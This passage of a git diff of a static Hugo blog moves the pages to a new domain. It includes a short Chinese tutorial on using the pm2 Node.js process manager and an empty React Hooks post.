cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Pm2---node进程管理工具</h1><div class=post-meta><span title='2022-04-19 20:39:27 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/pm2.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>安装pm2</p><p>npm install pm2 -g</p><p>执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程</p><p>pm2 start app.js &ndash;watch -i max &ndash;ignore-watch=&ldquo;node_modules&rdquo; &ndash;name demo</p><p>&ndash;ignore-watch=&ldquo;node_modules"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹</p><p>&ndash;name为进程名字</p><p>pm2执行npm run dev</p><p>pm2 start npm &ndash;watch &ndash; run dev</p><p>pm2执行npm run start</p><p>pm2 start npm &ndash;name demo &ndash; run start</p><p>查看PM2中的进程信息</p><p>pm2 list</p><p>查看指定进程id的信息</p><p>pm2 show 0</p><p>重启指定进程id的进程</p><p>pm2 restart 0</p><p>重启全部进程</p><p>pm2 restart all</p><p>停止指定进程id的进程</p><p>pm2 stop 0</p><p>删除指定进程id的进程</p><p>pm2 delete 0</p><p>查看全部进程的日志</p><p>pm2 logs</p><p>清空所有日志文件</p><p>pm2 flush</p></div><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/147/><span class=title>« Prev</span><br><span>vuejs底层原理学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/145/><span class=title>Next »</span><br><span>web安全学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+pm2 flush"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Pm2---node进程管理工具","item":"https://chenjunlinabc.github.io/posts/pm2/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Pm2---node进程管理工具","name":"简单使用Pm2---node进程管理工具","description":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js \u0026ndash;watch -i max \u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026rdquo; \u0026ndash;name demo\n\u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n\u0026ndash;name为进程名字\npm2执行npm run dev\npm2 start npm \u0026ndash;watch \u0026ndash; run dev\npm2执行npm run start\npm2 start npm \u0026ndash;name demo \u0026ndash; run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush","keywords":[],"articleBody":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo\n–ignore-watch=“node_modules\"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n–name为进程名字\npm2执行npm run dev\npm2 start npm –watch – run dev\npm2执行npm run start\npm2 start npm –name demo – run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush\n","wordCount":"67","inLanguage":"en","datePublished":"2022-04-19T20:39:27+08:00","dateModified":"2022-04-19T20:39:27+08:00","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/pm2/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Pm2---node进程管理工具</h1><div class=post-meta><span title='2022-04-19 20:39:27 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/pm2.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>安装pm2</p><p>npm install pm2 -g</p><p>执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程</p><p>pm2 start app.js &ndash;watch -i max &ndash;ignore-watch=&ldquo;node_modules&rdquo; &ndash;name demo</p><p>&ndash;ignore-watch=&ldquo;node_modules"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹</p><p>&ndash;name为进程名字</p><p>pm2执行npm run dev</p><p>pm2 start npm &ndash;watch &ndash; run dev</p><p>pm2执行npm run start</p><p>pm2 start npm &ndash;name demo &ndash; run start</p><p>查看PM2中的进程信息</p><p>pm2 list</p><p>查看指定进程id的信息</p><p>pm2 show 0</p><p>重启指定进程id的进程</p><p>pm2 restart 0</p><p>重启全部进程</p><p>pm2 restart all</p><p>停止指定进程id的进程</p><p>pm2 stop 0</p><p>删除指定进程id的进程</p><p>pm2 delete 0</p><p>查看全部进程的日志</p><p>pm2 logs</p><p>清空所有日志文件</p><p>pm2 flush</p></div><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/147/><span class=title>« Prev</span><br><span>vuejs底层原理学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/145/><span class=title>Next »</span><br><span>web安全学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/react-hooks\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/posts/react-hooks\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
index 48842dd5..96560e61 100644
--- "a/posts/react-hooks\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
+++ "b/posts/react-hooks\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/React-Hooks%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/React-Hooks%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/\347\256\200\345\215\225\344\275\277\347\224\250mock.js\346\250\241\346\213\237\346\225\260\346\215\256\347\224\237\346\210\220\345\231\250/index.html" "b/posts/\347\256\200\345\215\225\344\275\277\347\224\250mock.js\346\250\241\346\213\237\346\225\260\346\215\256\347\224\237\346\210\220\345\231\250/index.html"
index 91cde257..0f5921e5 100644
--- "a/posts/\347\256\200\345\215\225\344\275\277\347\224\250mock.js\346\250\241\346\213\237\346\225\260\346\215\256\347\224\237\346\210\220\345\231\250/index.html"
